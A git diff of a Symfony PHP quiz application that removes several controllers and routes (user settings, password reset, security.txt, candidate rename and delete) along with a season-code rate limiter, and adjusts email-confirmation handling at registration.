|
||||||
{
|
{
|
||||||
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
|
||||||
|
|
||||||
$form = $this->createForm(AddCandidatesFormType::class);
|
$form = $this->createForm(AddCandidatesFormType::class);
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
@@ -142,68 +117,10 @@ class SeasonController extends AbstractController
|
|||||||
|
|
||||||
$this->em->flush();
|
$this->em->flush();
|
||||||
|
|
||||||
if ($isTurboFrame) {
|
return $this->redirectToRoute('tvdt_backoffice_season', ['seasonCode' => $season->seasonCode]);
|
||||||
return new Response('<turbo-frame id="add-candidates-modal-frame"></turbo-frame>');
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
return $this->render('backoffice/season_add_candidates.html.twig', ['form' => $form, 'season' => $season]);
|
||||||
}
|
|
||||||
|
|
||||||
$template = $isTurboFrame
|
|
||||||
? 'backoffice/season/_add_candidates_frame.html.twig'
|
|
||||||
: 'backoffice/season_add_candidates.html.twig';
|
|
||||||
|
|
||||||
return $this->render($template, ['form' => $form, 'season' => $season]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsCsrfTokenValid('rename_candidate')]
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'candidate')]
|
|
||||||
#[Route(
|
|
||||||
'/backoffice/season/{seasonCode:season}/candidate/{candidate}/rename',
|
|
||||||
name: 'tvdt_backoffice_candidate_rename',
|
|
||||||
requirements: ['seasonCode' => self::SEASON_CODE_REGEX, 'candidate' => Requirement::UUID],
|
|
||||||
methods: ['POST'],
|
|
||||||
)]
|
|
||||||
public function renameCandidate(Season $season, Candidate $candidate, Request $request): RedirectResponse
|
|
||||||
{
|
|
||||||
$name = mb_trim($request->request->getString('name'));
|
|
||||||
|
|
||||||
if ('' === $name || mb_strlen($name) > 16) {
|
|
||||||
$this->addFlash(FlashType::Danger, $this->translator->trans('The candidate name must be between 1 and 16 characters'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
|
||||||
}
|
|
||||||
|
|
||||||
$candidate->name = $name;
|
|
||||||
|
|
||||||
try {
|
|
||||||
$this->em->flush();
|
|
||||||
} catch (UniqueConstraintViolationException) {
|
|
||||||
$this->addFlash(FlashType::Danger, $this->translator->trans('A candidate with this name already exists in this season'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Candidate renamed'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsCsrfTokenValid('delete_candidate')]
|
|
||||||
#[IsGranted(SeasonVoter::DELETE, subject: 'candidate')]
|
|
||||||
#[Route(
|
|
||||||
'/backoffice/season/{seasonCode:season}/candidate/{candidate}/delete',
|
|
||||||
name: 'tvdt_backoffice_candidate_delete',
|
|
||||||
requirements: ['seasonCode' => self::SEASON_CODE_REGEX, 'candidate' => Requirement::UUID],
|
|
||||||
methods: ['POST'],
|
|
||||||
)]
|
|
||||||
public function deleteCandidate(Season $season, Candidate $candidate): RedirectResponse
|
|
||||||
{
|
|
||||||
$this->candidateRepository->deleteCandidate($candidate);
|
|
||||||
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Candidate deleted'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_candidates', ['seasonCode' => $season->seasonCode]);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
||||||
|
|||||||
@@ -1,214 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Controller\Backoffice;
|
|
||||||
|
|
||||||
use Doctrine\DBAL\Exception\UniqueConstraintViolationException;
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use Safe\DateTimeImmutable;
|
|
||||||
use Symfony\Bundle\SecurityBundle\Security;
|
|
||||||
use Symfony\Component\Form\FormError;
|
|
||||||
use Symfony\Component\Form\FormInterface;
|
|
||||||
use Symfony\Component\HttpFoundation\BinaryFileResponse;
|
|
||||||
use Symfony\Component\HttpFoundation\HeaderUtils;
|
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use Tvdt\Controller\AbstractController;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
use Tvdt\Enum\FlashType;
|
|
||||||
use Tvdt\Form\ChangeEmailFormType;
|
|
||||||
use Tvdt\Form\ChangeUserPasswordFormType;
|
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
|
||||||
use Tvdt\Repository\UserRepository;
|
|
||||||
use Tvdt\Security\EmailVerifier;
|
|
||||||
use Tvdt\Service\DataExportService;
|
|
||||||
|
|
||||||
final class SettingsController extends AbstractController
|
|
||||||
{
|
|
||||||
public function __construct(
|
|
||||||
private readonly EntityManagerInterface $entityManager,
|
|
||||||
private readonly UserPasswordHasherInterface $passwordHasher,
|
|
||||||
private readonly UserRepository $userRepository,
|
|
||||||
private readonly EmailVerifier $emailVerifier,
|
|
||||||
private readonly Security $security,
|
|
||||||
private readonly TranslatorInterface $translator,
|
|
||||||
private readonly DataExportService $dataExportService,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
#[Route('/backoffice/settings', name: 'tvdt_backoffice_settings', methods: ['GET'])]
|
|
||||||
public function index(): Response
|
|
||||||
{
|
|
||||||
return $this->renderSettings();
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsCsrfTokenValid('settings_language')]
|
|
||||||
#[Route('/backoffice/settings/language', name: 'tvdt_backoffice_settings_language', methods: ['POST'])]
|
|
||||||
public function saveLanguage(): RedirectResponse
|
|
||||||
{
|
|
||||||
// Only Dutch is available for now, so saving is a noop.
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Language saved'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Route('/backoffice/settings/password', name: 'tvdt_backoffice_settings_password', methods: ['POST'])]
|
|
||||||
public function changePassword(Request $request): Response
|
|
||||||
{
|
|
||||||
$user = $this->authenticatedUser;
|
|
||||||
$form = $this->createForm(ChangeUserPasswordFormType::class);
|
|
||||||
$form->handleRequest($request);
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
|
||||||
/** @var string $plainPassword */
|
|
||||||
$plainPassword = $form->get('plainPassword')->getData();
|
|
||||||
|
|
||||||
$user->password = $this->passwordHasher->hashPassword($user, $plainPassword);
|
|
||||||
$this->entityManager->flush();
|
|
||||||
$this->userRepository->invalidateResetPasswordRequests($user);
|
|
||||||
|
|
||||||
$this->security->login($user, 'form_login', 'main');
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Your password has been changed.'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->renderSettings(passwordForm: $form);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Route('/backoffice/settings/email', name: 'tvdt_backoffice_settings_email', methods: ['POST'])]
|
|
||||||
public function changeEmail(Request $request): Response
|
|
||||||
{
|
|
||||||
$user = $this->authenticatedUser;
|
|
||||||
$form = $this->createForm(ChangeEmailFormType::class);
|
|
||||||
$form->handleRequest($request);
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
|
||||||
/** @var string $email */
|
|
||||||
$email = $form->get('email')->getData();
|
|
||||||
|
|
||||||
$found = $this->userRepository->findOneBy(['email' => $email]);
|
|
||||||
if ($found instanceof User && $found !== $user) {
|
|
||||||
$form->get('email')->addError(new FormError($this->translator->trans('There is already an account with this email')));
|
|
||||||
|
|
||||||
return $this->renderSettings(emailForm: $form);
|
|
||||||
}
|
|
||||||
|
|
||||||
$originalEmail = $user->email;
|
|
||||||
$originalIsVerified = $user->isVerified;
|
|
||||||
|
|
||||||
$user->email = $email;
|
|
||||||
$user->isVerified = false;
|
|
||||||
|
|
||||||
try {
|
|
||||||
$this->entityManager->flush();
|
|
||||||
} catch (UniqueConstraintViolationException) {
|
|
||||||
// A concurrent request can claim the email between the uniqueness check above and the flush
|
|
||||||
$user->email = $originalEmail;
|
|
||||||
$user->isVerified = $originalIsVerified;
|
|
||||||
$form->get('email')->addError(new FormError($this->translator->trans('There is already an account with this email')));
|
|
||||||
|
|
||||||
return $this->renderSettings(emailForm: $form);
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->userRepository->invalidateResetPasswordRequests($user);
|
|
||||||
|
|
||||||
if ($this->emailVerifier->sendDefaultConfirmation($user)) {
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Your email address has been changed. Please check your inbox to confirm it.'));
|
|
||||||
} else {
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Your email address has been changed.'));
|
|
||||||
$this->addFlash(FlashType::Warning, $this->translator->trans('The confirmation email could not be sent. Please use the resend button to try again.'));
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->security->login($user, 'form_login', 'main');
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->renderSettings(emailForm: $form);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsCsrfTokenValid('resend_confirmation')]
|
|
||||||
#[Route('/backoffice/settings/resend-confirmation', name: 'tvdt_backoffice_settings_resend_confirmation', methods: ['POST'])]
|
|
||||||
public function resendConfirmationEmail(): RedirectResponse
|
|
||||||
{
|
|
||||||
$user = $this->authenticatedUser;
|
|
||||||
|
|
||||||
if ($user->isVerified) {
|
|
||||||
$this->addFlash(FlashType::Info, $this->translator->trans('Your email address is already confirmed.'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($this->emailVerifier->sendDefaultConfirmation($user)) {
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('A new confirmation email has been sent. Please check your inbox.'));
|
|
||||||
} else {
|
|
||||||
$this->addFlash(FlashType::Warning, $this->translator->trans('The confirmation email could not be sent. Please try again later.'));
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Route('/backoffice/settings/download-data', name: 'tvdt_backoffice_settings_download_data', methods: ['GET'])]
|
|
||||||
public function downloadData(): Response
|
|
||||||
{
|
|
||||||
if (!$this->authenticatedUser->isVerified) {
|
|
||||||
$this->addFlash(FlashType::Warning, $this->translator->trans('Please confirm your email address before downloading your data.'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
$zipPath = $this->dataExportService->exportForUser($this->authenticatedUser);
|
|
||||||
|
|
||||||
$filename = \sprintf(
|
|
||||||
'tijd-voor-de-test-data-%s-%s.zip',
|
|
||||||
FilenameSanitizer::sanitize($this->authenticatedUser->email),
|
|
||||||
new DateTimeImmutable()->format('Y-m-d_H-i-s'),
|
|
||||||
);
|
|
||||||
|
|
||||||
$response = new BinaryFileResponse($zipPath);
|
|
||||||
$response->deleteFileAfterSend(true);
|
|
||||||
$response->headers->set('Content-Type', 'application/zip');
|
|
||||||
$response->headers->set(
|
|
||||||
'Content-Disposition',
|
|
||||||
HeaderUtils::makeDisposition(HeaderUtils::DISPOSITION_ATTACHMENT, $filename),
|
|
||||||
);
|
|
||||||
|
|
||||||
return $response;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsCsrfTokenValid('delete_account')]
|
|
||||||
#[Route('/backoffice/settings/delete', name: 'tvdt_backoffice_settings_delete', methods: ['POST'])]
|
|
||||||
public function deleteAccount(Request $request): Response
|
|
||||||
{
|
|
||||||
$user = $this->authenticatedUser;
|
|
||||||
$password = (string) $request->request->get('password', '');
|
|
||||||
|
|
||||||
if (!$this->passwordHasher->isPasswordValid($user, $password)) {
|
|
||||||
$this->addFlash(FlashType::Danger, $this->translator->trans('Wrong password, your account has not been deleted.'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
$this->userRepository->deleteUser($user);
|
|
||||||
|
|
||||||
return $this->security->logout(false) ?? $this->redirectToRoute('tvdt_login_login');
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param FormInterface<array{currentPassword: string, plainPassword: string}|null>|null $passwordForm
|
|
||||||
* @param FormInterface<array{email: string}|null>|null $emailForm
|
|
||||||
*/
|
|
||||||
private function renderSettings(?FormInterface $passwordForm = null, ?FormInterface $emailForm = null): Response
|
|
||||||
{
|
|
||||||
return $this->render('backoffice/settings/index.html.twig', [
|
|
||||||
'passwordForm' => $passwordForm ?? $this->createForm(ChangeUserPasswordFormType::class),
|
|
||||||
'emailForm' => $emailForm ?? $this->createForm(ChangeEmailFormType::class),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -8,8 +8,6 @@ use Doctrine\ORM\EntityManagerInterface;
|
|||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
use Symfony\Component\HttpKernel\Attribute\AsController;
|
use Symfony\Component\HttpKernel\Attribute\AsController;
|
||||||
use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
|
|
||||||
use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
use Symfony\Contracts\Translation\TranslatorInterface;
|
||||||
@@ -32,7 +30,7 @@ use Tvdt\Repository\SeasonRepository;
|
|||||||
#[AsController]
|
#[AsController]
|
||||||
final class QuizController extends AbstractController
|
final class QuizController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {}
|
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {}
|
||||||
|
|
||||||
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
|
||||||
public function selectSeason(Request $request): Response
|
public function selectSeason(Request $request): Response
|
||||||
@@ -40,10 +38,6 @@ final class QuizController extends AbstractController
|
|||||||
$form = $this->createForm(SelectSeasonType::class);
|
$form = $this->createForm(SelectSeasonType::class);
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && !$this->seasonCodeLimiter->create($request->getClientIp())->consume()->isAccepted()) {
|
|
||||||
throw new TooManyRequestsHttpException();
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
$seasonCode = $form->get('season_code')->getData();
|
$seasonCode = $form->get('season_code')->getData();
|
||||||
|
|
||||||
|
|||||||
@@ -5,11 +5,14 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Controller;
|
namespace Tvdt\Controller;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
|
use Psr\Log\LoggerInterface;
|
||||||
|
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
|
||||||
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
||||||
use Symfony\Bundle\SecurityBundle\Security;
|
use Symfony\Bundle\SecurityBundle\Security;
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
use Symfony\Component\HttpFoundation\RedirectResponse;
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
|
use Symfony\Component\Mailer\Exception\TransportExceptionInterface;
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Security\Core\User\UserInterface;
|
use Symfony\Component\Security\Core\User\UserInterface;
|
||||||
@@ -23,7 +26,7 @@ use Tvdt\Security\EmailVerifier;
|
|||||||
|
|
||||||
final class RegistrationController extends AbstractController
|
final class RegistrationController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly EmailVerifier $emailVerifier, private readonly TranslatorInterface $translator, private readonly UserPasswordHasherInterface $userPasswordHasher, private readonly Security $security, private readonly UserRepository $userRepository, private readonly EntityManagerInterface $entityManager) {}
|
public function __construct(private readonly EmailVerifier $emailVerifier, private readonly TranslatorInterface $translator, private readonly UserPasswordHasherInterface $userPasswordHasher, private readonly Security $security, private readonly LoggerInterface $logger, private readonly UserRepository $userRepository, private readonly EntityManagerInterface $entityManager) {}
|
||||||
|
|
||||||
#[Route('/register', name: 'tvdt_register')]
|
#[Route('/register', name: 'tvdt_register')]
|
||||||
public function register(
|
public function register(
|
||||||
@@ -46,8 +49,17 @@ final class RegistrationController extends AbstractController
|
|||||||
$this->entityManager->persist($user);
|
$this->entityManager->persist($user);
|
||||||
$this->entityManager->flush();
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
try {
|
||||||
// generate a signed url and email it to the user
|
// generate a signed url and email it to the user
|
||||||
$this->emailVerifier->sendDefaultConfirmation($user);
|
$this->emailVerifier->sendEmailConfirmation('tvdt_verify_email', $user,
|
||||||
|
new TemplatedEmail()
|
||||||
|
->to($user->email)
|
||||||
|
->subject($this->translator->trans('Please Confirm your Email'))
|
||||||
|
->htmlTemplate('backoffice/registration/confirmation_email.html.twig'),
|
||||||
|
);
|
||||||
|
} catch (TransportExceptionInterface $e) {
|
||||||
|
$this->logger->error($e->getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
$response = $this->security->login($user, 'form_login', 'main');
|
$response = $this->security->login($user, 'form_login', 'main');
|
||||||
\assert($response instanceof Response);
|
\assert($response instanceof Response);
|
||||||
|
|||||||
@@ -1,147 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Controller;
|
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
|
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
|
||||||
use Symfony\Component\Mailer\MailerInterface;
|
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Controller\ResetPasswordControllerTrait;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Exception\ResetPasswordExceptionInterface;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\Model\ResetPasswordToken;
|
|
||||||
use SymfonyCasts\Bundle\ResetPassword\ResetPasswordHelperInterface;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
use Tvdt\Enum\FlashType;
|
|
||||||
use Tvdt\Form\ChangePasswordFormType;
|
|
||||||
use Tvdt\Form\ResetPasswordRequestFormType;
|
|
||||||
|
|
||||||
final class ResetPasswordController extends AbstractController
|
|
||||||
{
|
|
||||||
use ResetPasswordControllerTrait;
|
|
||||||
|
|
||||||
public function __construct(
|
|
||||||
private readonly ResetPasswordHelperInterface $resetPasswordHelper,
|
|
||||||
private readonly EntityManagerInterface $entityManager,
|
|
||||||
private readonly MailerInterface $mailer,
|
|
||||||
private readonly TranslatorInterface $translator,
|
|
||||||
private readonly UserPasswordHasherInterface $passwordHasher,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
#[Route('/reset-password', name: 'tvdt_forgot_password_request')]
|
|
||||||
public function request(Request $request): Response
|
|
||||||
{
|
|
||||||
$form = $this->createForm(ResetPasswordRequestFormType::class);
|
|
||||||
$form->handleRequest($request);
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
|
||||||
/** @var string $email */
|
|
||||||
$email = $form->get('email')->getData();
|
|
||||||
|
|
||||||
return $this->processSendingPasswordResetEmail($email, $this->mailer, $this->translator);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->render('reset_password/request.html.twig', [
|
|
||||||
'requestForm' => $form,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Route('/reset-password/check-email', name: 'tvdt_check_email')]
|
|
||||||
public function checkEmail(): Response
|
|
||||||
{
|
|
||||||
if (!($resetToken = $this->getTokenObjectFromSession()) instanceof ResetPasswordToken) {
|
|
||||||
$resetToken = $this->resetPasswordHelper->generateFakeResetToken();
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->render('reset_password/check_email.html.twig', [
|
|
||||||
'resetToken' => $resetToken,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Route('/reset-password/reset/{token}', name: 'tvdt_reset_password')]
|
|
||||||
public function reset(Request $request, ?string $token = null): Response
|
|
||||||
{
|
|
||||||
if ($token) {
|
|
||||||
$this->storeTokenInSession($token);
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_reset_password');
|
|
||||||
}
|
|
||||||
|
|
||||||
$token = $this->getTokenFromSession();
|
|
||||||
if (null === $token) {
|
|
||||||
throw $this->createNotFoundException('No reset password token found in the URL or in the session.');
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
/** @var User $user */
|
|
||||||
$user = $this->resetPasswordHelper->validateTokenAndFetchUser($token);
|
|
||||||
} catch (ResetPasswordExceptionInterface $resetPasswordException) {
|
|
||||||
$this->addFlash(FlashType::Danger->value, \sprintf(
|
|
||||||
'%s - %s',
|
|
||||||
$this->translator->trans(ResetPasswordExceptionInterface::MESSAGE_PROBLEM_VALIDATE, [], 'ResetPasswordBundle'),
|
|
||||||
$this->translator->trans($resetPasswordException->getReason(), [], 'ResetPasswordBundle'),
|
|
||||||
));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_forgot_password_request');
|
|
||||||
}
|
|
||||||
|
|
||||||
$form = $this->createForm(ChangePasswordFormType::class);
|
|
||||||
$form->handleRequest($request);
|
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
|
||||||
$this->resetPasswordHelper->removeResetRequest($token);
|
|
||||||
|
|
||||||
/** @var string $plainPassword */
|
|
||||||
$plainPassword = $form->get('plainPassword')->getData();
|
|
||||||
|
|
||||||
$user->password = $this->passwordHasher->hashPassword($user, $plainPassword);
|
|
||||||
$this->entityManager->flush();
|
|
||||||
|
|
||||||
$this->cleanSessionAfterReset();
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_index');
|
|
||||||
}
|
|
||||||
|
|
||||||
return $this->render('reset_password/reset.html.twig', [
|
|
||||||
'resetForm' => $form,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function processSendingPasswordResetEmail(string $emailFormData, MailerInterface $mailer, TranslatorInterface $translator): RedirectResponse
|
|
||||||
{
|
|
||||||
$user = $this->entityManager->getRepository(User::class)->findOneBy([
|
|
||||||
'email' => $emailFormData,
|
|
||||||
]);
|
|
||||||
|
|
||||||
if (!$user instanceof User) {
|
|
||||||
return $this->redirectToRoute('tvdt_check_email');
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
$resetToken = $this->resetPasswordHelper->generateResetToken($user);
|
|
||||||
} catch (ResetPasswordExceptionInterface) {
|
|
||||||
return $this->redirectToRoute('tvdt_check_email');
|
|
||||||
}
|
|
||||||
|
|
||||||
$email = new TemplatedEmail()
|
|
||||||
->to($user->getUserIdentifier())
|
|
||||||
->subject($translator->trans('Your password reset request'))
|
|
||||||
->htmlTemplate('reset_password/email.html.twig')
|
|
||||||
->context([
|
|
||||||
'resetToken' => $resetToken,
|
|
||||||
]);
|
|
||||||
|
|
||||||
$mailer->send($email);
|
|
||||||
|
|
||||||
$this->setTokenObjectInSession($resetToken);
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_check_email');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,59 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Controller;
|
|
||||||
|
|
||||||
use Safe\DateTimeImmutable;
|
|
||||||
use Safe\Exceptions\DatetimeException;
|
|
||||||
use Symfony\Component\DependencyInjection\Attribute\Autowire;
|
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
|
||||||
|
|
||||||
/** Serves well-known URIs (https://www.rfc-editor.org/rfc/rfc8615). */
|
|
||||||
final class WellKnownController extends AbstractController
|
|
||||||
{
|
|
||||||
public function __construct(
|
|
||||||
#[Autowire(env: 'default::BUILD_TIME')]
|
|
||||||
private readonly ?string $buildTime,
|
|
||||||
#[Autowire(env: 'APP_ENV')]
|
|
||||||
private readonly string $appEnv,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
/** @see https://w3c.github.io/webappsec-change-password-url/ */
|
|
||||||
#[Route('/.well-known/change-password', name: 'tvdt_well_known_change_password', methods: ['GET'])]
|
|
||||||
public function changePassword(): RedirectResponse
|
|
||||||
{
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_settings');
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @see https://www.rfc-editor.org/rfc/rfc9116
|
|
||||||
*
|
|
||||||
* @throws DatetimeException
|
|
||||||
* @throws \Exception
|
|
||||||
*/
|
|
||||||
#[Route('/.well-known/security.txt', name: 'tvdt_well_known_security_txt', methods: ['GET'])]
|
|
||||||
public function securityTxt(): Response
|
|
||||||
{
|
|
||||||
// One year after the container build, so the file goes stale when deployments stop.
|
|
||||||
// In prod the build arg must be set; falling back to 'now' would renew Expires on every request,
|
|
||||||
// defeating the go-stale purpose. In dev/test 'now' is fine — no build bake happens there.
|
|
||||||
if ((null === $this->buildTime || '' === $this->buildTime) && 'prod' === $this->appEnv) {
|
|
||||||
throw new \LogicException('BUILD_TIME env var must be set in production (baked in during Docker build).');
|
|
||||||
}
|
|
||||||
|
|
||||||
$buildTime = (null !== $this->buildTime && '' !== $this->buildTime) ? $this->buildTime : 'now';
|
|
||||||
$expires = new DateTimeImmutable($buildTime)->modify('+1 year')->format(\DATE_RFC3339);
|
|
||||||
|
|
||||||
$content = <<<TXT
|
|
||||||
Contact: https://github.com/MarijnDoeve/TijdVoorDeTest/security/advisories/new
|
|
||||||
Expires: {$expires}
|
|
||||||
Preferred-Languages: nl, en
|
|
||||||
|
|
||||||
TXT;
|
|
||||||
|
|
||||||
return new Response($content, headers: ['Content-Type' => 'text/plain; charset=UTF-8']);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -9,10 +9,6 @@ use Doctrine\Bundle\FixturesBundle\FixtureGroupInterface;
|
|||||||
use Doctrine\Common\DataFixtures\DependentFixtureInterface;
|
use Doctrine\Common\DataFixtures\DependentFixtureInterface;
|
||||||
use Doctrine\Persistence\ObjectManager;
|
use Doctrine\Persistence\ObjectManager;
|
||||||
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
|
||||||
use Tvdt\Entity\Answer;
|
|
||||||
use Tvdt\Entity\Candidate;
|
|
||||||
